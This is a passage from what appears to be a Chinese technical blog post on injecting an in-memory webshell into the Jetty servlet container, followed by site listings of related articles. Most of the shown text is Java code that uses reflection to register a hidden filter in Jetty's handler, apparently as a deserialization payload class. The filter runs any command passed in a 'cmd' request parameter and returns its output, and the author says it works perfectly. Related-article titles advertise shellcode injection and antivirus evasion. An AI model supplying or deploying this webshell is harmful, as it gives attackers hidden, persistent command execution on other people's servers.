            Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
            setName.invoke(filterHolder,filterName);
            //高版本绕过代码段
            Method setStarted = getMethod(filterHolder,"setStarted", null);
            setStarted.invoke(filterHolder);
            Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());
            setServletHandler.invoke(filterHolder, servletHandler);
            Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
            initialize.setAccessible(true);
            initialize.invoke(filterHolder);
            //拼凑filtermapping
            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object filterMapping = constructor.newInstance();
            Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
            setFilterName.invoke(filterMapping,filterName);
            Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
            setFilterHolder.setAccessible(true);
            setFilterHolder.invoke(filterMapping,filterHolder);
            String pathSpecs = url;
            Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
            setPathSpec.invoke(filterMapping,pathSpecs);
            //加入filterPathMappings
            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        //为了避免初次的命令执行空指针异常
        if(cmd != null){
            Runtime.getRuntime().exec(cmd);
            //回显处理
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream inputStream = process.getInputStream();
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
            String line;
            StringBuilder stringBuilder = new StringBuilder();
            while ((line = reader.readLine()) != null){
                stringBuilder.append(line + "\n");
            }
            ServletOutputStream servletOutputStream = response.getOutputStream();
            servletOutputStream.write(stringBuilder.toString().getBytes());
            servletOutputStream.flush();
            servletOutputStream.close();
        }
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
    }
}


同时可以完美运行。


文章标签：
Java
容器
应用服务中间件
Maven
API
关键词：
内存注入
Jetty内存
愿天堂没有BUG（公众号同名）
目录
相关文章
阿里云开发管家
|
存储 安全 Shell
1.10 内存ShellCode注入与格式化
ShellCode 的格式化与注入功能在实战应用中也尤为重要，格式化`Shellcode`是指将其转换为可执行的二进制格式，使其能够在内存中运行。注入`Shellcode`是指将格式化的`Shellcode`注入到另一个进程的内存中，以便在该进程中执行，此类功能也可算作`ShellCode`技术的延申功能。
阿里云开发管家
173 1
技术君
|
JSON 前端开发 安全
利用 Fastjson 注入 Spring 内存马，太秀了～
1 基础 实际上java内存马的注入已经有很多方式了，我在学习中动手研究并写了一下针对spring mvc应用的内存马。
技术君
355 0
利用 Fastjson 注入 Spring 内存马，太秀了～
韩曙亮
|
存储 Android开发
【Android 逆向】Android 进程代码注入原理 ( 进程注入原理 | 远程调用流程 | 获取函数地址 | 设置 IP 寄存器 | mmap 申请内存 | 设置 SP 寄存器 )
【Android 逆向】Android 进程代码注入原理 ( 进程注入原理 | 远程调用流程 | 获取函数地址 | 设置 IP 寄存器 | mmap 申请内存 | 设置 SP 寄存器 )
韩曙亮
196 0
玄学酱
|
C# 安全 C++
免杀新姿势：利用线程将恶意代码注入到内存中
本文讲的是免杀新姿势：利用线程将恶意代码注入到内存中，在这篇文章中我不想一步一步解释我编写的C#代码，但是我会展示下它能够绕过杀毒软件，并且操作非常简单，而且实用。
玄学酱
1935 0
晚来风急
|
安全 网络安全 数据安全/隐私保护
Windows所有版本绕过漏洞 AtomBombing内存注入技术 现有杀毒软件无效
晚来风急
1231 0
无信不立
|
Java Android开发
eclipse使用jetty插件出现内存溢出解决方案
系统运行在MAVEN中的jetty插件下，当在ECLIPSE运 clean jetty:run时系统提示 OutOfMemoryError: PermGen space。 解决办法：设置run as --->run configuragtions--->jre标签下的 属性VM argum...
无信不立
912 0
瑞克rick
|
开发框架 .NET C++
Net内存程序集通用脱壳机实现原理（一注入）
正如前面提到的DotNet 程序的脱壳和普通PE文件的脱壳是有密切关系的。传统PE文件dump大部分都是进程外dump，这里我们介绍的DotNet程序集的脱壳使用进程内dump。所以第一步就是注入问题，如何让我们的程序在目标进程内运行？传统的win32 注入dll，相信大家都熟悉了吧，得益于C++/CLI的特性，我们能依靠传统的方式注入我们的程序到目标进程中。
瑞克rick
778 0
warmhearted
|
2月前
|
缓存 Prometheus 监控
Elasticsearch集群JVM调优设置合适的堆内存大小
Elasticsearch集群JVM调优设置合适的堆内存大小
warmhearted
358 1
游客vsgxb64qlj7cg
|
30天前
|
存储 监控 算法
深入探索Java虚拟机（JVM）的内存管理机制
本文旨在为读者提供对Java虚拟机（JVM）内存管理机制的深入理解。通过详细解析JVM的内存结构、垃圾回收算法以及性能优化策略，本文不仅揭示了Java程序高效运行背后的原理，还为开发者提供了优化应用程序性能的实用技巧。不同于常规摘要仅概述文章大意，本文摘要将简要介绍JVM内存管理的关键点，为读者提供一个清晰的学习路线图。
游客vsgxb64qlj7cg
76 3
爱吃香蕉的猫
|
2月前
|
Java
JVM内存参数
-Xmx[]:堆空间最大内存 -Xms[]:堆空间最小内存，一般设置成跟堆空间最大内存一样的 -Xmn[]:新生代的最大内存 -xx[use 垃圾回收器名称]：指定垃圾回收器 -xss:设置单个线程栈大小 一般设堆空间为最大可用物理地址的百分之80
爱吃香蕉的猫
26 4

热门文章

最新文章

  • 1
    如何使用内存监控工具来优化 Node.js 应用的性能
  • 2
    深入理解Linux内核的内存管理机制
  • 3
    Docker容器性能调优的关键技巧，涵盖CPU、内存、网络及磁盘I/O的优化策略，结合实战案例，旨在帮助读者有效提升Docker容器的性能与稳定性。
  • 4
    C语言因高效灵活被广泛应用于软件开发。本文探讨了优化C语言程序性能的策略，涵盖算法优化、代码结构优化、内存管理优化、编译器优化、数据结构优化、并行计算优化及性能测试与分析七个方面
  • 5
    深入探索Java虚拟机（JVM）的内存管理机制
  • 6
    【C语言】内存管理函数详细讲解
  • 7
    阿里云服务器经济型e、通用算力型u1、计算型c8i、通用型g8i、内存型r8i实例介绍与选择参考
  • 8
    深入探索Android系统的内存管理机制
  • 9
    Java 内存管理与优化：掌控堆与栈，雕琢高效代码
  • 10
    基于内存认证的 Spring Security
  • 1
    JFinal5+Jetty2009+IDEA2020+Java8的非Maven-Demo项目
    82
  • 2
    Eclipse内置jetty运行web项目的配置
    431
  • 3
    IDEA用maven启动内置时jetty出现的问题
    222
  • 4
    jetty+idea 远程调试
    214
  • 5
    Jetty 简单安装和部署 jenkins
    377
  • 6
    Java 线程池之Jetty 线程池学习总结
    307
  • 7
    eclipse jee配置jetty的两种方法【亲测可用】
    1377
  • 8
    记一次异步处理导致Jetty Request对象泄漏（二）
    270
  • 9
    记一次异步处理导致Jetty Request对象泄漏（一）
    204
  • 10
    美团动态线程池思路开源框架（DynamicTp），动态调整Tomcat、Jetty、Undertow线程池参数篇
    879

    • 相关电子书

    更多
  • 内存取证与IaaS云平台恶意行 为的安全监控
  • 云服务器ECS内存增强型实例re6全新发布
  • 低代码开发师（初级）实战教程
    • 下一篇
    阿里云无影云电脑免费试用，最长可试用3个月